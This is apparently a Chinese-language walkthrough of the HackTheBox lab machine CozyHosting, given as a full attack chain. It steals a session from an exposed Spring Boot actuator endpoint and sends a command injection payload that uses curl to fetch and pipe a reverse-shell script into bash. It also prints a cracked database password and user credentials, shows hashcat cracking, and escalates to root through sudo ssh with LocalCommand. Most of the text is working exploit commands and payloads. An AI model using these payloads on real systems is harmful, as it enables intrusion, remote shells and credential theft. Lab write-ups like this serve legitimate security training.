文章目录
- 1 端口扫描
- 2 测试思路
- 3 访问web站点
- 4 横向移动
- 5 权限提升
CozyHosting 测试过程
1 端口扫描
nmap -sC -sV 10.129.229.88
2 测试思路
目标开启了80和22端口,所以出发点从80端口开始。
1.通过在web网站寻找漏洞,获取到用户名和密码,远程连接22端口获取权限;
2.通过在web网站寻找漏洞,站点中存在可以获取权限的漏洞。
echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts
3 访问web站点
1.在web站点中发现一个登录页面,爆破未成功,进行其他尝试
2.使用gobuster进行目录爆破
发现Whitelabel Error Page 页面,为springboot的报错页面
3.尝试使用springboot的字典对网站进行爆破
./gobuster dir -u http://cozyhosting.htb/ -w spring-boot.txt
扫描到的目录暴露了执行器端点,在http://cozyhosting.htb/actuator/sessions,可以看到kanderson的会话标识符
4.通过kanderson的会话标识符进行登录,替换JESSIONID的值,回车登录
5.在页面底部,发现表单,输入数据观察响应包发现命令注入,使用sh命令反弹shell
echo 命令写入 shell.sh 文件
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.150/4444 0>&1' > shell.sh
# 本地开启http server
python3 -m http.server 8000
# 开启监听
ncat -lnvp 4444
# 执行;${IFS}定界符在bash和sh等shell中,默认为空格。
test;curl${IFS}http://10.10.14.150:8000/shell.sh|bash;
# 创建稳定pty
script /dev/null -c bash
4 横向移动
1.发现cloudhosting-0.0.1.jar文件,并对其进行解压
在/BOOT-INF/classes/application.properties文件中发现postgresql数据库的密码
2.postgresql数据库中信息收集,使用Vg&nvzAQ7XxR连接postgresql
# 使用Vg&nvzAQ7XxR连接postgresql
psql -h 127.0.0.1 -U postgres
# 列出数据库,发现cozyhosting、postgres、template0等数据库
\list
# 连接数据库
\connect cozyhosting
# 列出数据库中的表,发现users表
\dt
# 列出users表中的数据,发现admin及其hash密码
select * from users;
3.破解hash密码
# 识别hash算法
hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
# 将hash值写入文件
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash
# 破解hash
hashcat hash -m 3200 rockyou.txt
4.使用ssh连接,josh:manchesterunited
# 查看passwd文件发现用户:josh
cat /etc/passwd
ssh josh@10.129.229.88
5 权限提升
# 显示权限
sudo -l
1.执行权限发现User josh may run the following commands on localhost: (root) /usr/bin/ssh *,可以以root权限运行/usr/bin/root。
2.ssh中存在-o选项,通过指定PermitLocalCommand=yes,在ssh连接成功后,可以在客户端机器执行本地命令
sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1